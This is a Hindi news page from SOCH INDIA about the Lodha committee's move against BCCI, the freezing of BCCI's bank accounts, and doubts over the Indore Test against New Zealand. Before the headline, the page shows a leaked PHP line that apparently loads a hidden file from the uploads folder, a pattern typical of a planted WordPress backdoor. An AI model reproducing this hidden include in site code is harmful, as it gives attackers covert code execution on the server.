add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); भारत-न्यूजीलैंड सीरीज पर संकट, BCCI के बैंक खाते हुए सीज – SOCH INDIA
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भारत-न्यूजीलैंड सीरीज पर संकट, BCCI के बैंक खाते हुए सीज

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Indore Test comes under cloud after BCCI accounts frozen

भारत-न्यूजीलैंड टेस्ट सीरिज के दूसरे मैच में जीत दर्ज कर जहां टीम इंडिया टेस्ट क्रिकेट की नंबर-1 पायदना पर पहुंची, वहीं अब इस सीरिज के तीसरे मैच पर संकट के बादल नजर आ रहे हैं। बीसीसीआई के सलाना सब्सीडी की अदायगी और दूसरे राज्य संघो के भुगतान पर लोढ़ा कमेटी द्वारा सवाल उठाने के बाद  मध्य प्रदेश के इंदौर में 8 से 12 अक्टूबर को खेले जाने वाले इस मैच के खेले जाने पर शंका बनी हुई है।
अंग्रेजी अखबर टाइम्स ऑफ इंडिया की खबर के मुताबिक, बीसीसीआई के अकाउंट को ऑपरेट करने वाले यस बैंक और बैंक ऑफ महाराष्ट्रा को भी इस मेल में चिन्हित किया गया है। इस पर मजबूती से अमल करते हुए दोनों बैंकों ने सोमवार को ही बीसीसीआई के खातों को सीज करने का फैसला लिया है। बैंको ने यह कहते हुए इस ईमेल का तुरंत जवाब दिया कि वे जानते हैं कि कि लोढ़ा कमिटी की नियुक्ति सुप्रीम कोर्ट ने की है।लोढ़ा कमिटी के एक सीनियर अधिकारी ने कहा, छह अक्टूबर को इस मामले में सुप्रीम कोर्ट सुनवाई है, तब तक इंतजार करना चाहिए। उस दिन सब कुछ ठीक हो जाएगा। कार्यकारी कमिटी की डिटेल मिलने के बाद भी लोढ़ा कमेटी ने बीसीसीआई के किसी व्यक्ति के बारे में कुछ नहीं बोला। अधिकारी ने कहा, हम सबको मूर्ख न बनाया जाए कि हम भुगतान के करने में सक्षम नहीं है। न्यूजीलैंड की टीम को सम्मानपूर्वक दौरा छोड़ कर जाने देना चाहिए।

एक दूसरे सूत्र ने बताया कि जो हो रहा है इससे पूरे घरेलू श्रृंखला पर शंका के बादल छाए हुए हैं। लोढ़ा कमिटी सिर्फ वही करना चाहती है जो सही हो। जहां तक बीसीसीआई के पैसों का सवाल है, इसे वह इंफ्रास्ट्रक्चर को मजबूत करने के लिए खर्च कर रही है।लोढ़ा कमिटी ने सोमवार को बीसीसीआई सचिव, कोषाध्यक्ष और मुख्य कार्यकारी अधिकारी को ईमेल लिखा था। इसमें सूचना दी गई थी कि 30 सितंबर को इमरजेंसी में बुलाई गई कार्यकारी कमेटी की मिटिंग में राज्य संघों के लिए फंड के वितरण में क्रिकेट बोर्ड सुप्रीम कोर्ट के आदेश की अवहेलना कर रहा है।

लोढ़ा कमिटी के सचिव गोपाल शंकराचार्य ने इस ईमेल में लिखा, ‘ कमेटी ने इसे संज्ञान में लिया गया है कि 30 सितंबर को बुलाई गई आपातकालीन बैठक में राज्य संघों को बड़ी मात्रा में फंड वितरण के लिए कुछ निर्णय लिए गए हैं। यह सुप्रीम कोर्ट के आदेशों का अवहेलना है।